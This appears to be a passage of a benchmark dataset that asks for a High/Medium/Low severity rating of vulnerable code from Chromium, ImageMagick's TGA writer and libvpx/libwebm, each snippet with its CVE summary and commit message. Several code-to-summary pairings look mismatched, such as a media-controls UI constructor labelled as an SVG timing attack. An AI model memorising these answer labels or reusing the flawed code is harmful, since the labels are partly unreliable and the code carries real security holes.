bool is_initial_navigation = page_id_ == -1;
should_fork = content::GetContentClient()->renderer()->ShouldFork(
frame, url, is_initial_navigation, &send_referrer);
}
}
if (should_fork) {
Referrer referrer(
GURL(request.httpHeaderField(WebString::fromUTF8("Referer"))),
GetReferrerPolicyFromRequest(request));
OpenURL(
frame, url, send_referrer ? referrer : Referrer(), default_policy);
return WebKit::WebNavigationPolicyIgnore; // Suppress the load here.
}
}
GURL old_url(frame->dataSource()->request().url());
bool is_fork =
old_url == GURL(chrome::kAboutBlankURL) &&
historyBackListCount() < 1 &&
historyForwardListCount() < 1 &&
frame->opener() == NULL &&
frame->parent() == NULL &&
is_content_initiated &&
default_policy == WebKit::WebNavigationPolicyCurrentTab &&
type == WebKit::WebNavigationTypeOther;
if (is_fork) {
OpenURL(frame, url, Referrer(), default_policy);
return WebKit::WebNavigationPolicyIgnore;
}
return default_policy;
}
Vulnerability Type:
CWE ID:
Summary: Google Chrome before 19.0.1084.46 does not properly perform window navigation, which has unspecified impact and remote attack vectors.
Commit Message: Use a new scheme for swapping out RenderViews.
BUG=118664
TEST=none
Review URL: http://codereview.chromium.org/9720004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@127986 0039d316-1c4b-4281-b951-d872f2087c98 | High | 171,032 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static MagickBooleanType WriteTGAImage(const ImageInfo *image_info,Image *image)
{
CompressionType
compression;
const char
*value;
const double
midpoint = QuantumRange/2.0;
MagickBooleanType
status;
QuantumAny
range;
register const IndexPacket
*indexes;
register const PixelPacket
*p;
register ssize_t
x;
register ssize_t
i;
register unsigned char
*q;
ssize_t
count,
y;
TGAInfo
tga_info;
/*
Open output image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
assert(image != (Image *) NULL);
assert(image->signature == MagickSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);
if (status == MagickFalse)
return(status);
/*
Initialize TGA raster file header.
*/
if ((image->columns > 65535L) || (image->rows > 65535L))
ThrowWriterException(ImageError,"WidthOrHeightExceedsLimit");
(void) TransformImageColorspace(image,sRGBColorspace);
compression=image->compression;
if (image_info->compression != UndefinedCompression)
compression=image_info->compression;
range=GetQuantumRange(5UL);
tga_info.id_length=0;
value=GetImageProperty(image,"comment");
if (value != (const char *) NULL)
tga_info.id_length=(unsigned char) MagickMin(strlen(value),255);
tga_info.colormap_type=0;
tga_info.colormap_index=0;
tga_info.colormap_length=0;
tga_info.colormap_size=0;
tga_info.x_origin=0;
tga_info.y_origin=0;
tga_info.width=(unsigned short) image->columns;
tga_info.height=(unsigned short) image->rows;
tga_info.bits_per_pixel=8;
tga_info.attributes=0;
if ((image_info->type != TrueColorType) &&
(image_info->type != TrueColorMatteType) &&
(image_info->type != PaletteType) &&
(image->matte == MagickFalse) &&
(SetImageGray(image,&image->exception) != MagickFalse))
tga_info.image_type=compression == RLECompression ? TGARLEMonochrome :
TGAMonochrome;
else
if ((image->storage_class == DirectClass) || (image->colors > 256))
{
/*
Full color TGA raster.
*/
tga_info.image_type=compression == RLECompression ? TGARLERGB : TGARGB;
if (image_info->depth == 5)
{
tga_info.bits_per_pixel=16;
if (image->matte != MagickFalse)
tga_info.attributes=1; /* # of alpha bits */
}
else
{
tga_info.bits_per_pixel=24;
if (image->matte != MagickFalse)
{
tga_info.bits_per_pixel=32;
tga_info.attributes=8; /* # of alpha bits */
}
}
}
else
{
/*
Colormapped TGA raster.
*/
tga_info.image_type=compression == RLECompression ? TGARLEColormap :
TGAColormap;
tga_info.colormap_type=1;
tga_info.colormap_length=(unsigned short) image->colors;
if (image_info->depth == 5)
tga_info.colormap_size=16;
else
tga_info.colormap_size=24;
}
value=GetImageArtifact(image,"tga:image-origin");
if (value != (const char *) NULL)
{
OrientationType
origin;
origin=(OrientationType) ParseCommandOption(MagickOrientationOptions,
MagickFalse,value);
if (origin == BottomRightOrientation || origin == TopRightOrientation)
tga_info.attributes|=(1UL << 4);
if (origin == TopLeftOrientation || origin == TopRightOrientation)
tga_info.attributes|=(1UL << 5);
}
/*
Write TGA header.
*/
(void) WriteBlobByte(image,tga_info.id_length);
(void) WriteBlobByte(image,tga_info.colormap_type);
(void) WriteBlobByte(image,(unsigned char) tga_info.image_type);
(void) WriteBlobLSBShort(image,tga_info.colormap_index);
(void) WriteBlobLSBShort(image,tga_info.colormap_length);
(void) WriteBlobByte(image,tga_info.colormap_size);
(void) WriteBlobLSBShort(image,tga_info.x_origin);
(void) WriteBlobLSBShort(image,tga_info.y_origin);
(void) WriteBlobLSBShort(image,tga_info.width);
(void) WriteBlobLSBShort(image,tga_info.height);
(void) WriteBlobByte(image,tga_info.bits_per_pixel);
(void) WriteBlobByte(image,tga_info.attributes);
if (tga_info.id_length != 0)
(void) WriteBlob(image,tga_info.id_length,(unsigned char *) value);
if (tga_info.colormap_type != 0)
{
unsigned char
green,
*targa_colormap;
/*
Dump colormap to file (blue, green, red byte order).
*/
targa_colormap=(unsigned char *) AcquireQuantumMemory((size_t)
tga_info.colormap_length,(tga_info.colormap_size/8)*sizeof(
*targa_colormap));
if (targa_colormap == (unsigned char *) NULL)
ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed");
q=targa_colormap;
for (i=0; i < (ssize_t) image->colors; i++)
{
if (image_info->depth == 5)
{
green=(unsigned char) ScaleQuantumToAny(image->colormap[i].green,
range);
*q++=((unsigned char) ScaleQuantumToAny(image->colormap[i].blue,
range)) | ((green & 0x07) << 5);
*q++=(((image->matte != MagickFalse) && (
(double) image->colormap[i].opacity < midpoint)) ? 0x80 : 0) |
((unsigned char) ScaleQuantumToAny(image->colormap[i].red,
range) << 2) | ((green & 0x18) >> 3);
}
else
{
*q++=ScaleQuantumToChar(image->colormap[i].blue);
*q++=ScaleQuantumToChar(image->colormap[i].green);
*q++=ScaleQuantumToChar(image->colormap[i].red);
}
}
(void) WriteBlob(image,(size_t) ((tga_info.colormap_size/8)*
tga_info.colormap_length),targa_colormap);
targa_colormap=(unsigned char *) RelinquishMagickMemory(targa_colormap);
}
/*
Convert MIFF to TGA raster pixels.
*/
for (y=(ssize_t) (image->rows-1); y >= 0; y--)
{
p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
indexes=GetVirtualIndexQueue(image);
if (compression == RLECompression)
{
x=0;
count=0;
while (x < (ssize_t) image->columns)
{
i=1;
while ((i < 128) && (count + i < 128) &&
((x + i) < (ssize_t) image->columns))
{
if (tga_info.image_type == TGARLEColormap)
{
if (GetPixelIndex(indexes+i) != GetPixelIndex(indexes+(i-1)))
break;
}
else
if (tga_info.image_type == TGARLEMonochrome)
{
if (GetPixelLuma(image,p+i) != GetPixelLuma(image,p+(i-1)))
break;
}
else
{
if ((GetPixelBlue(p+i) != GetPixelBlue(p+(i-1))) ||
(GetPixelGreen(p+i) != GetPixelGreen(p+(i-1))) ||
(GetPixelRed(p+i) != GetPixelRed(p+(i-1))))
break;
if ((image->matte != MagickFalse) &&
(GetPixelAlpha(p+i) != GetPixelAlpha(p+(i-1))))
break;
}
i++;
}
if (i < 3)
{
count+=i;
p+=i;
indexes+=i;
}
if ((i >= 3) || (count == 128) ||
((x + i) == (ssize_t) image->columns))
{
if (count > 0)
{
(void) WriteBlobByte(image,(unsigned char) (--count));
while (count >= 0)
{
WriteTGAPixel(image,tga_info.image_type,indexes-(count+1),
p-(count+1),range,midpoint);
count--;
}
count=0;
}
}
if (i >= 3)
{
(void) WriteBlobByte(image,(unsigned char) ((i-1) | 0x80));
WriteTGAPixel(image,tga_info.image_type,indexes,p,range,midpoint);
p+=i;
indexes+=i;
}
x+=i;
}
}
else
{
for (x=0; x < (ssize_t) image->columns; x++)
WriteTGAPixel(image,tga_info.image_type,indexes+x,p++,range,midpoint);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
(void) CloseBlob(image);
return(MagickTrue);
}
Vulnerability Type:
CWE ID: CWE-20
Summary: An issue was discovered in ImageMagick 6.9.7. Incorrect TGA files could trigger assertion failures, thus leading to DoS.
Commit Message: https://github.com/ImageMagick/ImageMagick/pull/359 | Medium | 168,331 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void RunInvTxfm(int16_t *out, uint8_t *dst, int stride) {
inv_txfm_(out, dst, stride);
}
Vulnerability Type: DoS Exec Code Overflow Mem. Corr.
CWE ID: CWE-119
Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792.
Commit Message: Merge Conflict Fix CL to lmp-mr1-release for ag/849478
DO NOT MERGE - libvpx: Pull from upstream
Current HEAD: 7105df53d7dc13d5e575bc8df714ec8d1da36b06
BUG=23452792
Change-Id: Ic78176fc369e0bacc71d423e0e2e6075d004aaec
| High | 174,524 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: long Block::Parse(const Cluster* pCluster)
{
if (pCluster == NULL)
return -1;
if (pCluster->m_pSegment == NULL)
return -1;
assert(m_start >= 0);
assert(m_size >= 0);
assert(m_track <= 0);
assert(m_frames == NULL);
assert(m_frame_count <= 0);
long long pos = m_start;
const long long stop = m_start + m_size;
long len;
IMkvReader* const pReader = pCluster->m_pSegment->m_pReader;
m_track = ReadUInt(pReader, pos, len);
if (m_track <= 0)
return E_FILE_FORMAT_INVALID;
if ((pos + len) > stop)
return E_FILE_FORMAT_INVALID;
pos += len; //consume track number
if ((stop - pos) < 2)
return E_FILE_FORMAT_INVALID;
long status;
long long value;
status = UnserializeInt(pReader, pos, 2, value);
if (status)
return E_FILE_FORMAT_INVALID;
if (value < SHRT_MIN)
return E_FILE_FORMAT_INVALID;
if (value > SHRT_MAX)
return E_FILE_FORMAT_INVALID;
m_timecode = static_cast<short>(value);
pos += 2;
if ((stop - pos) <= 0)
return E_FILE_FORMAT_INVALID;
status = pReader->Read(pos, 1, &m_flags);
if (status)
return E_FILE_FORMAT_INVALID;
const int lacing = int(m_flags & 0x06) >> 1;
++pos; //consume flags byte
if (lacing == 0) //no lacing
{
if (pos > stop)
return E_FILE_FORMAT_INVALID;
m_frame_count = 1;
m_frames = new Frame[m_frame_count];
Frame& f = m_frames[0];
f.pos = pos;
const long long frame_size = stop - pos;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
f.len = static_cast<long>(frame_size);
return 0; //success
}
if (pos >= stop)
return E_FILE_FORMAT_INVALID;
unsigned char biased_count;
status = pReader->Read(pos, 1, &biased_count);
if (status)
return E_FILE_FORMAT_INVALID;
++pos; //consume frame count
assert(pos <= stop);
m_frame_count = int(biased_count) + 1;
m_frames = new Frame[m_frame_count];
assert(m_frames);
if (lacing == 1) //Xiph
{
Frame* pf = m_frames;
Frame* const pf_end = pf + m_frame_count;
long size = 0;
int frame_count = m_frame_count;
while (frame_count > 1)
{
long frame_size = 0;
for (;;)
{
unsigned char val;
if (pos >= stop)
return E_FILE_FORMAT_INVALID;
status = pReader->Read(pos, 1, &val);
if (status)
return E_FILE_FORMAT_INVALID;
++pos; //consume xiph size byte
frame_size += val;
if (val < 255)
break;
}
Frame& f = *pf++;
assert(pf < pf_end);
f.pos = 0; //patch later
f.len = frame_size;
size += frame_size; //contribution of this frame
--frame_count;
}
assert(pf < pf_end);
assert(pos <= stop);
{
Frame& f = *pf++;
if (pf != pf_end)
return E_FILE_FORMAT_INVALID;
f.pos = 0; //patch later
const long long total_size = stop - pos;
if (total_size < size)
return E_FILE_FORMAT_INVALID;
const long long frame_size = total_size - size;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
f.len = static_cast<long>(frame_size);
}
pf = m_frames;
while (pf != pf_end)
{
Frame& f = *pf++;
assert((pos + f.len) <= stop);
f.pos = pos;
pos += f.len;
}
assert(pos == stop);
}
else if (lacing == 2) //fixed-size lacing
{
const long long total_size = stop - pos;
if ((total_size % m_frame_count) != 0)
return E_FILE_FORMAT_INVALID;
const long long frame_size = total_size / m_frame_count;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
Frame* pf = m_frames;
Frame* const pf_end = pf + m_frame_count;
while (pf != pf_end)
{
assert((pos + frame_size) <= stop);
Frame& f = *pf++;
f.pos = pos;
f.len = static_cast<long>(frame_size);
pos += frame_size;
}
assert(pos == stop);
}
else
{
assert(lacing == 3); //EBML lacing
if (pos >= stop)
return E_FILE_FORMAT_INVALID;
long size = 0;
int frame_count = m_frame_count;
long long frame_size = ReadUInt(pReader, pos, len);
if (frame_size < 0)
return E_FILE_FORMAT_INVALID;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
if ((pos + len) > stop)
return E_FILE_FORMAT_INVALID;
pos += len; //consume length of size of first frame
if ((pos + frame_size) > stop)
return E_FILE_FORMAT_INVALID;
Frame* pf = m_frames;
Frame* const pf_end = pf + m_frame_count;
{
Frame& curr = *pf;
curr.pos = 0; //patch later
curr.len = static_cast<long>(frame_size);
size += curr.len; //contribution of this frame
}
--frame_count;
while (frame_count > 1)
{
if (pos >= stop)
return E_FILE_FORMAT_INVALID;
assert(pf < pf_end);
const Frame& prev = *pf++;
assert(prev.len == frame_size);
if (prev.len != frame_size)
return E_FILE_FORMAT_INVALID;
assert(pf < pf_end);
Frame& curr = *pf;
curr.pos = 0; //patch later
const long long delta_size_ = ReadUInt(pReader, pos, len);
if (delta_size_ < 0)
return E_FILE_FORMAT_INVALID;
if ((pos + len) > stop)
return E_FILE_FORMAT_INVALID;
pos += len; //consume length of (delta) size
assert(pos <= stop);
const int exp = 7*len - 1;
const long long bias = (1LL << exp) - 1LL;
const long long delta_size = delta_size_ - bias;
frame_size += delta_size;
if (frame_size < 0)
return E_FILE_FORMAT_INVALID;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
curr.len = static_cast<long>(frame_size);
size += curr.len; //contribution of this frame
--frame_count;
}
{
assert(pos <= stop);
assert(pf < pf_end);
const Frame& prev = *pf++;
assert(prev.len == frame_size);
if (prev.len != frame_size)
return E_FILE_FORMAT_INVALID;
assert(pf < pf_end);
Frame& curr = *pf++;
assert(pf == pf_end);
curr.pos = 0; //patch later
const long long total_size = stop - pos;
if (total_size < size)
return E_FILE_FORMAT_INVALID;
frame_size = total_size - size;
if (frame_size > LONG_MAX)
return E_FILE_FORMAT_INVALID;
curr.len = static_cast<long>(frame_size);
}
pf = m_frames;
while (pf != pf_end)
{
Frame& f = *pf++;
assert((pos + f.len) <= stop);
f.pos = pos;
pos += f.len;
}
assert(pos == stop);
}
return 0; //success
}
Vulnerability Type: DoS Exec Code Overflow Mem. Corr.
CWE ID: CWE-119
Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792.
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 | High | 174,412 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: MediaControlsHeaderView::MediaControlsHeaderView() {
SetLayoutManager(std::make_unique<views::BoxLayout>(
views::BoxLayout::Orientation::kHorizontal, kMediaControlsHeaderInsets,
kMediaControlsHeaderChildSpacing));
auto app_icon_view = std::make_unique<views::ImageView>();
app_icon_view->SetImageSize(gfx::Size(kIconSize, kIconSize));
app_icon_view->SetVerticalAlignment(views::ImageView::Alignment::kLeading);
app_icon_view->SetHorizontalAlignment(views::ImageView::Alignment::kLeading);
app_icon_view->SetBorder(views::CreateEmptyBorder(kIconPadding));
app_icon_view->SetBackground(
views::CreateRoundedRectBackground(SK_ColorWHITE, kIconCornerRadius));
app_icon_view_ = AddChildView(std::move(app_icon_view));
gfx::Font default_font;
int font_size_delta = kHeaderTextFontSize - default_font.GetFontSize();
gfx::Font font = default_font.Derive(font_size_delta, gfx::Font::NORMAL,
gfx::Font::Weight::NORMAL);
gfx::FontList font_list(font);
auto app_name_view = std::make_unique<views::Label>();
app_name_view->SetFontList(font_list);
app_name_view->SetHorizontalAlignment(gfx::ALIGN_LEFT);
app_name_view->SetEnabledColor(SK_ColorWHITE);
app_name_view->SetAutoColorReadabilityEnabled(false);
app_name_view_ = AddChildView(std::move(app_name_view));
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: A timing attack in SVG rendering in Google Chrome prior to 60.0.3112.78 for Linux, Windows, and Mac allowed a remote attacker to extract pixel values from a cross-origin page being iframe'd via a crafted HTML page.
Commit Message: [Lock Screen Media Controls] Tweak UI based on new mocks
This CL rearranges the different components of the CrOS lock screen
media controls based on the newest mocks. This involves resizing most
of the child views and their spacings. The artwork was also resized
and re-positioned. Additionally, the close button was moved from the
main view to the header row child view.
Artist and title data about the current session will eventually be
placed to the right of the artwork, but right now this space is empty.
See the bug for before and after pictures.
Bug: 991647
Change-Id: I7b97f31982ccf2912bd2564d5241bfd849d21d92
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1746554
Reviewed-by: Xiyuan Xia <[email protected]>
Reviewed-by: Becca Hughes <[email protected]>
Commit-Queue: Mia Bergeron <[email protected]>
Cr-Commit-Position: refs/heads/master@{#686253} | Low | 172,344 |
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